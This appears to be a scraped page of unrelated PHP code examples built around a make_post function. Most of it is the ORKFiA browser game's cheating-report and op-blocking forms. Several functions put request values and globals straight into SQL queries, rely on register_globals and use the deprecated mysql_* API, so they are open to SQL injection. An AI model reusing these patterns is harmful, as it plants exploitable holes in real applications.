function print_files()
 {
     $data = array();
     //should declare array to be used to hold valid input files
     echo '<b>Ingesting the data files that are in the data directory!</b>';
     echo '<br>*******************************************************<br>';
     $dirfiles = listdir(ES__PLUGIN_DIR . "data");
     if ($dirfiles) {
         foreach ($dirfiles as $key => $filename) {
             if (substr($filename, -4) == '.txt' && !is_dir($filename)) {
                 $data[$filename] = php_strip_whitespace($filename);
                 $theData = make_post($filename);
                 insert_post($theData);
                 echo "<br>";
                 echo "<br>Finished.";
                 echo "<br>";
             } else {
                 $other[$filename] = !is_dir($filename) ? file_get_contents($filename) : '';
             }
         }
         $myFile = ES__PLUGIN_DIR . "/data/test.txt";
         $fh = fopen($myFile, 'r');
         $theData = fread($fh, filesize($myFile));
         fclose($fh);
     }
     insert_post($theData);
     echo "<br>";
     echo "<br>Finished.";
     echo "<br>";
 }
Example #2
0
 function reportOp(&$objSrcUser, &$objTrgUser, $op, $done = false)
 {
     $orkTime = $GLOBALS['orkTime'];
     $tick = clsBlock::getTick();
     $cutoff = $tick - 8;
     $srcId = $objSrcUser->get_userid();
     $trgId = $objTrgUser->get_userid();
     $srcIp = $_SERVER['REMOTE_ADDR'];
     $op = mysql_real_escape_string($op);
     $ops = mysql_query("SELECT * FROM blocks WHERE tick > {$cutoff} AND target_id = {$trgId} AND source_id != {$srcId} AND source_ip = '{$srcIp}' ORDER BY id DESC");
     $post = "***Target***\r\nUserid: {$trgId}\r\nTribe: " . $objTrgUser->get_stat(TRIBE) . '(#' . $objTrgUser->get_stat(ALLIANCE) . ")\r\n\r\n";
     $post .= "***Offender***\r\nUserid: {$srcId}\r\nTribe: " . $objSrcUser->get_stat(TRIBE) . '(#' . $objSrcUser->get_stat(ALLIANCE) . ")\r\nIP: " . $srcIp . "\r\n";
     if ($done) {
         $post .= "Successfully Performed:";
     } else {
         $post .= "Trying to perform:";
     }
     $post .= "{$op}\r\n At tick: {$tick}\r\n\r\n";
     $post .= "***Previous ops from the same IP below\r\n\r\n";
     while ($row = mysql_fetch_assoc($ops)) {
         $objTmpUser = new clsUser($row['source_id']);
         $post .= "Userid: " . $row['source_id'] . "\r\nTribe: " . $objTmpUser->get_stat(TRIBE) . '(#' . $objTmpUser->get_stat(ALLIANCE) . ")" . "\r\nPerformed: " . $row['op'] . "\r\nAt tick: " . $row['tick'] . "\r\n\r\n";
     }
     $alliance = 2;
     if ($done) {
         $title = "Blocking system: Successful ops";
     } else {
         $title = "Blocking system: Blocked ops";
     }
     $thread = mysql_query("SELECT post_id FROM forum WHERE poster_kd = {$alliance} AND parent_id = 0 AND title = '{$title}' AND type = 0") or die('mysql error: ' . mysql_error());
     if (mysql_num_rows($thread) == 0) {
         mysql_query("INSERT INTO forum (poster_kd,title,post,date_time,updated,poster_name,poster_tribe) VALUES ({$alliance},'{$title}','Automated report thread','{$orkTime}','{$orkTime}','Reporter','Reporter')") or die('mysql error: ' . mysql_error());
         $thread = mysql_query("SELECT post_id FROM forum WHERE poster_kd = {$alliance} AND parent_id = 0 AND title = '{$title}' AND type = 0") or die('mysql error: ' . mysql_error());
     }
     $thread = mysql_fetch_assoc($thread);
     $thread = $thread['post_id'];
     make_post($objSrcUser->get_userid(), $thread, $alliance, 0, $post);
 }
function make_discussion($forum, $posts, $readusers, &$userids, $ratingpercent)
{
    set_time_limit(200);
    // Make discussion
    static $index = 0;
    $index++;
    list($discussionid, $postid) = $forum->create_discussion(null, 'Discussion ' . $index, get_post_text(), FORMAT_HTML, array(), false, 0, 0, false, false, $userids[mt_rand(0, count($userids) - 1)], false);
    $discussion = forum_discussion::get_from_id($discussionid, forum::CLONE_DIRECT);
    // Make posts
    $count = my_random($posts) - 1;
    $allposts = array($discussion->get_root_post());
    for ($i = 0; $i < $count; $i++) {
        make_post($discussion, $allposts, $userids, $ratingpercent);
    }
    // Mark the discussion read if requested
    if ($readusers > 0) {
        $now = time();
        for ($i = 0; $i < $readusers; $i++) {
            $discussion->mark_read($now, $userids[$i]);
        }
    }
    // Progress
    print '.';
}
Example #4
0
function include_message_text()
{
    //========================================================================
    // Note that if someone presses the report button, $tribe has not been
    //  set, I'll fix that for now, but the line below does not only rely
    //  on that, but also on register_globals being on, UGLY!   - AI 22/10/06
    //========================================================================
    global $Host, $tribe, $type, $userid, $action, $submit, $alliance, $message, $inputBody, $subject, $orkTime, $connection, $report, $ip, $resortforum;
    //     mysql_grab($userid, 'local', 'stats');
    $objSrcUser =& $GLOBALS['objSrcUser'];
    $reporttype = @$_GET['reporttype'];
    $arrStats = $objSrcUser->get_stats();
    if ($alliance < 11 && $reporttype != 'personal' && !$submit) {
        $strMenu = '<div class="center">' . "| <a href=\"main.php?cat=game&amp;page=mail&amp;set=compose\">Compose Mail</a> " . "| <a href=\"main.php?cat=game&amp;page=mail&amp;set=view\">View Inbox</a> " . "| <a href=\"main.php?cat=game&amp;page=mail&amp;set=outbox\">View Outbox</a> " . "| <a href=\"main.php?cat=game&amp;page=message&amp;tribe=1&amp;alliance=1\" >Send a Report</a> " . "| <a href=\"main.php?cat=game&amp;page=mail&amp;set=block\">Block Mail</a> ";
        if ($arrStats['type'] == 'elder') {
            "| <a href=\"main.php?cat=game&amp;page=mail&amp;set=eldermail\" >Alliance Mail</a> ";
        }
        $strMenu .= "|</div><br />";
        echo $strMenu;
        echo "<div id=\"textBig\"><h2>Send a report</h2>";
        // new stuff starting here
        switch ($reporttype) {
            case 'cheatident':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheating&amp;alliance={$alliance}\">Back to report cheating page</a> ::</p>";
                echo "<h3>Report Identity Cheating</h3>";
                echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=cheatident\"><p>List the tribe name(s) and alliance(s) you wish to report<br /><textarea name=\"tribes\" rows=\"5\" cols=\"20\"></textarea><br />Describe the offence to be investigated plus all applicable information<br /><textarea name=\"offence\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Report\" /></p></form>";
                break;
            case 'cheatcont':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheating&amp;alliance={$alliance}\">Back to report cheating page</a> ::</p>";
                echo "<h3>Report Content</h3>";
                echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=cheatcont\"><p>List the tribe name(s) and alliance(s) you wish to report<br /><textarea name=\"tribes\" rows=\"5\" cols=\"20\"></textarea><br />Paste the complete offensive messages/other things below<br /><textarea name=\"offence\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Report\" /></p></form>";
                break;
            case 'cheatphys':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheating&amp;alliance={$alliance}\">Back to report cheating page</a> ::</p>";
                echo "<h3>Report Physical Cheating</h3>";
                echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=cheatphys\"><p>List the tribe name(s) and alliance(s) you wish to report<br /><textarea name=\"tribes\" rows=\"5\" cols=\"20\"></textarea><br />Describe the offence to be investigated plus all applicable information<br /><textarea name=\"offence\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Report\" /></p></form>";
                break;
            case 'cheatcoop':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheating&amp;alliance={$alliance}\">Back to report cheating page</a> ::</p>";
                echo "<h3>Report Cooperation</h3>";
                echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=cheatcoop\"><p>List the tribe name(s) and alliance(s) you wish to report<br /><textarea name=\"tribes\" rows=\"5\" cols=\"20\"></textarea><br />Describe the offence to be investigated plus all applicable information<br /><textarea name=\"offence\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Report\" /></p></form>";
                break;
            case 'cheataccount':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheating&amp;alliance={$alliance}\">Back to report cheating page</a> ::</p>";
                echo "<h3>Report Account Cheating</h3>";
                echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=cheataccount\"><p>List the tribe name(s) and alliance(s) you wish to report<br /><textarea name=\"tribes\" rows=\"5\" cols=\"20\"></textarea><br />Describe the offence to be investigated plus all applicable information<br /><textarea name=\"offence\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Report\" /></p></form>";
                break;
            case 'cheatabuse':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheating&amp;alliance={$alliance}\">Back to report cheating page</a> ::</p>";
                echo "<h3>Report Abuse</h3>";
                echo "**Please don't report bugs here, but rather use this as a report to alert us to any player you suspect abusing a bug.**<br />";
                echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=cheatabuse\"><p>List the tribe name(s) and alliance(s) you wish to report<br /><textarea name=\"tribes\" rows=\"5\" cols=\"20\"></textarea><br />Describe the offence to be investigated plus all applicable information<br /><textarea name=\"offence\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Report\" /></p></form>";
                break;
            case 'cheatwar':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheating&amp;alliance={$alliance}\">Back to report cheating page</a> ::</p>";
                echo "<h3>Report War Cheating</h3>";
                echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=cheatwar\"><p>List the alliance(s) you wish to report<br /><textarea name=\"allis\" rows=\"5\" cols=\"20\"></textarea><br />Describe the offence to be investigated plus all applicable information<textarea name=\"offence\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Report\" /></p></form>";
                break;
            case 'cheatfarm':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheating&amp;alliance={$alliance}\">Back to report cheating page</a> ::</p>";
                echo "<h3>Report Farming</h3>";
                echo "***Landfarmers must be reported. Any acres gained from a little or undefended tribe may be expropriated in the absence of a report.***<br />";
                echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=cheatfarm\"><p>List the tribe name(s) and alliance(s) you wish to report<br /><textarea name=\"tribes\" rows=\"5\" cols=\"20\"></textarea><br />Paste your attack details here<br /><textarea name=\"attack\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Report\" /></p></form>";
                break;
            case 'cheatmisc':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheating&amp;alliance={$alliance}\">Back to report cheating page</a> ::</p>";
                echo "<h3>Report Miscellaneous Cheating</h3>";
                echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=cheatmisc\"><p>List the tribe name(s) and alliance(s) you wish to report<br /><textarea name=\"tribes\" rows=\"5\" cols=\"20\"></textarea><br />Describe the offence to be investigated plus all applicable information<textarea name=\"offence\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Report\" /></p></form>";
                break;
            case 'cheating':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;alliance={$alliance}\">Back to reporting page</a> ::</p>";
                echo "<h3>Report Cheating</h3>";
                echo "<p>Please select the type of cheating you wish to report:</p>";
                echo "<ul>";
                echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheatident&amp;alliance=2\">Identities (stealing)</a></li>";
                echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheatcont&amp;alliance=2\">Content (PMs, forum)</a></li>";
                echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheatphys&amp;alliance=2\">Physical</a></li>";
                echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheatcoop&amp;alliance=2\">Cooperation</a></li>";
                echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheataccount&amp;alliance=2\">Account (crosslogging, multiple, babysitting)</a></li>";
                echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheatabuse&amp;alliance=2\">Abuse</a></li>";
                echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheatwar&amp;alliance=2\">War</a></li>";
                echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheatfarm&amp;alliance=2\">Farming</a></li>";
                echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheatmisc&amp;alliance=2\">Miscellaneous</a></li></ul>";
                break;
            case 'sharing':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;alliance={$alliance}\">Back to reporting page</a> ::</p>";
                echo "<h3>Report Sharing Computers</h3>";
                echo "<p>Your tribe name and alliance number: {$arrStats['tribe']}(#{$arrStats['kingdom']})</p>";
                echo "<p>List the tribe name(s) and alliance(s) you share IP's with: <br /></p>";
                echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=sharing\"><textarea name=\"tribes\" rows=\"5\" cols=\"20\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Computer Sharing Report\" /></form>";
                break;
            case 'cf':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;alliance={$alliance}\">Back to reporting page</a> ::</p>";
                echo "<h3>Report Cease Fire</h3>";
                echo "<p>A reported temporary stoppage of aggressive activity, where both alliances agree to suspend all ops and attacks for a MAXIMUM of 12 hours following an undeclared war - (or 24 hours in the case of declared war)</p><p>A 12 hour 'cool down' period is permitted following an unofficial war. To be valid these agreements must be reported to L&amp;O with associated times. L&amp;O is not responsible for policing any CF agreements.</p>";
                echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=cf\"><p>Your alliance number: {$arrStats['kingdom']}<br />CeaseFire with (Alliance number): <input type=\"text\" name=\"with\" size=\"4\" maxlength=\"4\" /><br /><input type=\"submit\" name=\"submit\" value=\"Send Cease Fire Report\" /></p></form>";
                break;
            case 'error':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;alliance={$alliance}\">Back to reporting page</a> ::</p>";
                echo "<h3>Report Error</h3>";
                echo "<p>Please explain the error and also send all applicable information</p>";
                echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=error\"><textarea name=\"error\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Error Report\" /></form>";
                break;
            case 'sugg':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;alliance={$alliance}\">Back to reporting page</a> ::</p>";
                echo "<h3>Report Game Suggestion</h3>";
                echo "<p>Please fully explain your suggestion</p>";
                echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=sugg\"><textarea name=\"suggestion\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Suggestion\" /></form>";
                break;
            case 'comp':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;alliance={$alliance}\">Back to reporting page</a> ::</p>";
                echo "<h3>Report Complaint</h3>";
                echo "<p>Please fully explain the problem</p>";
                echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=comp\"><textarea name=\"complaint\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Complaint\" /></form>";
                break;
            case 'mergename':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;alliance={$alliance}\">Back to reporting page</a> ::</p>";
                echo "<h3>Report Merge/Namechange issues</h3>";
                echo "<p>Please fully explain the problem</p>";
                echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=mergename\"><textarea name=\"message\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Report\" /></form>";
                break;
                //             case 'advertsugg':
                //                 echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;alliance=$alliance\">Back to reporting page</a> ::</p>";
                //                 echo "<h2>Report Advertising Suggestion</h2>";
                //                 echo "<p>Please fully explain your suggestion</p>";
                //                 echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=advertsugg\"><textarea name=\"suggestion\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Suggestion\" /></form>";
                //                 break;
                //             case '4crap':
                //                 echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;alliance=$alliance\">Back to reporting page</a> ::</p>";
                //                 echo "<h2>Send crap to #4</h2>";
                //                 echo "<p>Please enter the crap you want to send to #4 here</p>";
                //                 echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=4crap\"><textarea name=\"crap\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send crap\" /></form>";
                //                 break;
            //             case 'advertsugg':
            //                 echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;alliance=$alliance\">Back to reporting page</a> ::</p>";
            //                 echo "<h2>Report Advertising Suggestion</h2>";
            //                 echo "<p>Please fully explain your suggestion</p>";
            //                 echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=advertsugg\"><textarea name=\"suggestion\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Suggestion\" /></form>";
            //                 break;
            //             case '4crap':
            //                 echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;alliance=$alliance\">Back to reporting page</a> ::</p>";
            //                 echo "<h2>Send crap to #4</h2>";
            //                 echo "<p>Please enter the crap you want to send to #4 here</p>";
            //                 echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=4crap\"><textarea name=\"crap\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send crap\" /></form>";
            //                 break;
            case 'qgen':
                echo "<p>:: <a href=\"main.php?cat=game&amp;page=message&amp;alliance={$alliance}\">Back to reporting page</a> ::</p>";
                echo "<h3>Question / General</h3>";
                echo "<p><p><p>Enter your question below</p>";
                echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;reporttype=qgen\"><textarea name=\"question\" rows=\"10\" cols=\"60\"></textarea><br /><input type=\"submit\" name=\"submit\" value=\"Send Report\" /></form>";
                break;
            default:
                echo "<p>Welcome! This will allow you to contact the ORKFiA Staff Team.</p>";
                echo "<ul><li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cheating&amp;alliance=2\">Report Cheating</a> (report to #2)</li>";
                echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=sharing&amp;alliance=2\">Report Sharing Computers</a> (report to #2)</li>";
                echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=cf&amp;alliance=2\">Report Cease Fire</a> (report to #2)</li>";
                echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=error&amp;alliance=3\">Report Game Error</a> (report to #3)</li>";
                echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=sugg&amp;alliance=3\">Report Game Suggestion</a> (report to #3)</li>";
                echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=comp&amp;alliance=3\">Report Complaint</a> (report to #3)</li>";
                echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=mergename&amp;alliance=3\">Report Merge/Namechange issues</a> (report to #3)</li>";
                //                 echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=advertsugg&amp;alliance=4\">Report Advertising Suggestion</a> (report to #4)</li>";
                //                 echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=4crap&amp;alliance=4\">Send crap to #4</a> (report to #4)</li>";
                echo "<li><a href=\"main.php?cat=game&amp;page=message&amp;reporttype=qgen&amp;alliance=3\">Question / General</a> (report to #3)</li>";
                echo "<li><a href=\"main.php?cat=game&amp;page=mail&amp;set=compose&amp;aid={$alliance}&amp;tribe={$tribe}\">Orkfia Mail</a></li></ul>";
        }
        echo "</div>";
    }
    if ($type == "ingame" && $submit && $message) {
        //changed to use send_mail function - AI 10/12/2006
        send_mail($userid, $tribe, $subject, $message);
    }
    if ($type == "ingame" && $alliance > 10) {
        echo "<p>Message Center</p>";
        echo "<form method=\"post\" action=\"main.php?cat=game&amp;page=message&amp;type=ingame&amp;action=post&amp;tribe={$tribe}&amp;alliance={$alliance}\">";
        echo "<br />Subject: <input type=text name=subject size=30><br /><textarea name=message rows=20 cols=70 wrap=on></textarea><br />";
        echo "<input type=hidden name=submit value='yes'>";
        echo "<input type='submit' value='Send Message'>";
        echo "</form>";
    }
    if ($submit && $reporttype) {
        $error = false;
        $alliance = 0;
        $resortforum = 0;
        $title = false;
        $post = false;
        switch ($reporttype) {
            case 'cheatident':
                $alliance = 2;
                $resortforum = 4;
                $title = 'Report: Identity Cheating';
                $post = "Reporting these tribes:\r\n" . $_POST['tribes'] . "\r\n\r\nAccusing them of the following:\r\n" . $_POST['offence'];
                break;
            case 'cheatcont':
                $alliance = 2;
                $resortforum = 4;
                $title = 'Report: Content';
                $post = "Reporting these tribes:\r\n" . $_POST['tribes'] . "\r\n\r\nAccusing them of the following:\r\n" . $_POST['offence'];
                break;
            case 'cheatphys':
                $alliance = 2;
                $resortforum = 4;
                $title = 'Report: Physical Cheating';
                $post = "Reporting these tribes:\r\n" . $_POST['tribes'] . "\r\n\r\nAccusing them of the following:\r\n" . $_POST['offence'];
                break;
            case 'cheatcoop':
                $alliance = 2;
                $resortforum = 4;
                $title = 'Report: Cooperation';
                $post = "Reporting these tribes:\r\n" . $_POST['tribes'] . "\r\n\r\nAccusing them of the following:\r\n" . $_POST['offence'];
                break;
            case 'cheataccount':
                $alliance = 2;
                $resortforum = 4;
                $title = 'Report: Account Cheating';
                $post = "Reporting these tribes:\r\n" . $_POST['tribes'] . "\r\n\r\nAccusing them of the following:\r\n" . $_POST['offence'];
                break;
            case 'cheatabuse':
                $alliance = 2;
                $resortforum = 4;
                $title = 'Report: Abuse';
                $post = "Reporting these tribes:\r\n" . $_POST['tribes'] . "\r\n\r\nAccusing them of the following:\r\n" . $_POST['offence'];
                break;
            case 'cheatwar':
                $alliance = 2;
                $resortforum = 4;
                $title = 'Report: War Cheating';
                $post = "Reporting these alliances:\r\n" . $_POST['allis'] . "\r\n\r\nAccusing them of the following:\r\n" . $_POST['offence'];
                break;
            case 'cheatfarm':
                $alliance = 2;
                $resortforum = 4;
                $title = 'Report: Farming';
                $post = "Reporting these tribes:\r\n" . $_POST['tribes'] . "\r\n\r\nDetails of the attack:\r\n" . $_POST['attack'];
                break;
            case 'cheatmisc':
                $alliance = 2;
                $resortforum = 4;
                $title = 'Report: Miscellaneous Cheating';
                $post = "Reporting these tribes:\r\n" . $_POST['tribes'] . "\r\n\r\nAccusing them of the following:\r\n" . $_POST['offence'];
                break;
            case 'sharing':
                $alliance = 2;
                $resortforum = 4;
                $title = 'Report: Sharing Computers';
                $post = "Declaring to share IP(s) with:\r\n" . $_POST['tribes'];
                break;
            case 'cf':
                $alliance = 2;
                $resortforum = 4;
                $title = 'Report: CeaseFire';
                $post = "Declaring a CeaseFire with: " . $_POST['with'];
                break;
            case 'error':
                $alliance = 3;
                $resortforum = 5;
                $title = 'Report: Game Error';
                $post = $_POST['error'];
                break;
            case 'sugg':
                $alliance = 3;
                $resortforum = 5;
                $title = 'Report: Game Suggestion';
                $post = $_POST['suggestion'];
                break;
            case 'comp':
                $alliance = 3;
                $resortforum = 5;
                $title = 'Report: Complaint';
                $post = $_POST['complaint'];
                break;
            case 'mergename':
                $alliance = 3;
                $resortforum = 5;
                $title = 'Report: Merge/Namechange issues';
                $post = $_POST['message'];
                break;
                //             case 'advertsugg':
                //                 $alliance = 4;
                //                 $title = 'Report: Advertising Suggestion';
                //                 $post = $_POST['suggestion'];
                //                 break;
                //             case '4crap':
                //                 $alliance = 4;
                //                 $title = 'Crap for #4';
                //                 $post = $_POST['crap'];
                //                 break;
            //             case 'advertsugg':
            //                 $alliance = 4;
            //                 $title = 'Report: Advertising Suggestion';
            //                 $post = $_POST['suggestion'];
            //                 break;
            //             case '4crap':
            //                 $alliance = 4;
            //                 $title = 'Crap for #4';
            //                 $post = $_POST['crap'];
            //                 break;
            case 'qgen':
                $alliance = 3;
                $resortforum = 5;
                $title = 'Question / General';
                $post = $_POST['question'];
                break;
            case 'n00b':
                $alliance = 1;
                $resortforum = 2;
                $title = 'I am a n00b';
                $post = $_POST['n00bieness'];
                break;
            default:
                $error .= "The report was of a type that cannot be handled, " . "you're either messing around or the report system " . "isn't finished yet.<br />";
        }
        if ($resortforum > 5 || $resortforum < 2) {
            $error .= "There was no valid recipient for your report, poke " . "someone in Development.<br />";
        }
        if (!$error && $title && $resortforum && $post) {
            $post .= "\r\n\r\n***User id:" . $objSrcUser->get_userid() . "***\r\n" . $arrStats['tribe'] . '(#' . $arrStats['kingdom'] . ')';
            $thread = mysql_query("SELECT post_id FROM forum WHERE poster_kd = 1 AND parent_id = 0 AND title = '{$title}' AND type = {$resortforum}") or die('mysql error: ' . mysql_error());
            if (mysql_num_rows($thread) == 0) {
                mysql_query("INSERT INTO forum (type,poster_kd,title,post,date_time,updated,poster_name,poster_tribe) VALUES ({$resortforum},1,'{$title}','Automated report thread','{$orkTime}','{$orkTime}','Reporter','Reporter')") or die('mysql error: ' . mysql_error());
                $thread = mysql_query("SELECT post_id FROM forum WHERE poster_kd = 1 AND parent_id = 0 AND title = '{$title}' AND type = {$resortforum}") or die('mysql error: ' . mysql_error());
            }
            $thread = mysql_fetch_assoc($thread);
            $thread = $thread['post_id'];
            make_post($objSrcUser->get_userid(), $thread, 0, $resortforum, $post);
        }
        if ($error) {
            echo "The following problem(s) was/were encountered while " . "processing your report:<br />{$error}";
        } else {
            $staffmap = array(1 => "The Orkfian Gods / Development", 2 => "Law and Order", 3 => "Operations", 4 => "Marketing");
            echo "Thank you for your time, " . $staffmap[$alliance] . " has received your report.";
            echo "<br /><a href=\"main.php?cat=game&amp;page=message&amp;alliance=1\">Back to Reporting</a>";
        }
    }
    if ($submit && $type == "forums" && $resortforum < 11 && $alliance < 11 && $report) {
        $message = safeHTML($message);
        echo "<p>{$report}, has been received, If you have any more information " . "regarding <br />your report that can be entered, we would be " . "pleased to receive it also.</p>";
        if ($report == 'Report: Sharing Computers') {
            echo '<p>Please take special notice of the CoC rules applying ' . 'specifically to sharing IPs. Violation of these rules ' . 'results in account suspension and more commonly deletion. ' . 'Ignornance of the law is no excuse.<br /><br />' . 'Here is the link to the CoC:<br />' . '<a href="main.php?cat=game&amp;page=CoC">Code of Conduct</a>' . '<br /><br />' . 'Section 6, and especially 6.5.1 apply to users sharing IPs.' . '<br /><br />' . 'Enjoy the game =)';
            $search = mysql_query("select * from forum where poster_kd = 1 and parent_id  = 0 and title = '{$report}' and type = {$resortforum}");
            $search = @mysql_fetch_array($search);
            if ($search['type'] != $resortforum) {
                // There's no topic yet
                $insert = mysql_query("INSERT INTO forum VALUES ('', '0', {$resortforum}, 1, '0', '{$report}','Automated report thread', '{$orkTime}', '{$orkTime}','Reporter', 'Reporter','0', '0', '0', '0')") or die("insert:" . mysql_error());
            }
            $search = mysql_query("Select * from forum where poster_kd = 1 and parent_id  = 0 and title = '{$report}' and type = {$resortforum}");
            $search = mysql_fetch_array($search);
            $insert = mysql_query("INSERT INTO forum\n              VALUES ('', '{$arrStats['id']}', {$resortforum},\n              1, '{$search['post_id']}', '',\n              '{$message}<br /><br />***User id: {$userid}***<br />{$arrStats['tribe']} (# {$arrStats['kingdom']} )', '{$orkTime}', '{$orkTime}',\n              '{$arrStats['name']}', '{$arrStats['tribe']}',\n              '0', '{$ip}', '0', '0')\n               ");
        } elseif ($report == 'Report: Cheating') {
            $search = mysql_query("select * from forum where poster_kd = 1 and parent_id  = 0 and title = '{$report}' and type = {$resortforum}");
            $search = @mysql_fetch_array($search);
            if ($search['type'] != $resortforum) {
                // There's no topic yet
                $insert = mysql_query("INSERT INTO forum VALUES ('', '0', {$resortforum}, 1, '0', '{$report}','Automated report thread', '{$orkTime}', '{$orkTime}','Reporter', 'Reporter','0', '0', '0', '0')") or die("insert:" . mysql_error());
            }
            $search = mysql_query("Select * from forum where poster_kd = 1 and parent_id  = 0 and title = '{$report}' and type = {$resortforum}");
            $search = mysql_fetch_array($search);
            $insert = mysql_query("INSERT INTO forum\n                          VALUES ('', '{$arrStats['id']}', {$resortforum},\n                          1, '{$search['post_id']}', '',\n                          '{$message}<br /><br />***User id: {$userid}***<br />{$arrStats['tribe']} (# {$arrStats['kingdom']} )', '{$orkTime}', '{$orkTime}',\n                          '{$arrStats['name']}', '{$arrStats['tribe']}',\n                          '0', '{$ip}', '0', '0')\n                           ");
        } elseif ($report == 'Report: CeaseFire') {
            $search = mysql_query("select * from forum where poster_kd = 1 and parent_id  = 0 and title = '{$report}' and type = {$resortforum}");
            $search = @mysql_fetch_array($search);
            if ($search['type'] != $resortforum) {
                // There's no topic yet
                $insert = mysql_query("INSERT INTO forum VALUES ('', '0', '{$resortforum}, 1, '0', '{$report}','Automated report thread', '{$orkTime}', '{$orkTime}','Reporter', 'Reporter','0', '0', '0', '0')") or die("insert:" . mysql_error());
            }
            $search = mysql_query("Select * from forum where poster_kd = 1 and parent_id  = 0 and title = '{$report}' and type = {$resortforum}");
            $search = mysql_fetch_array($search);
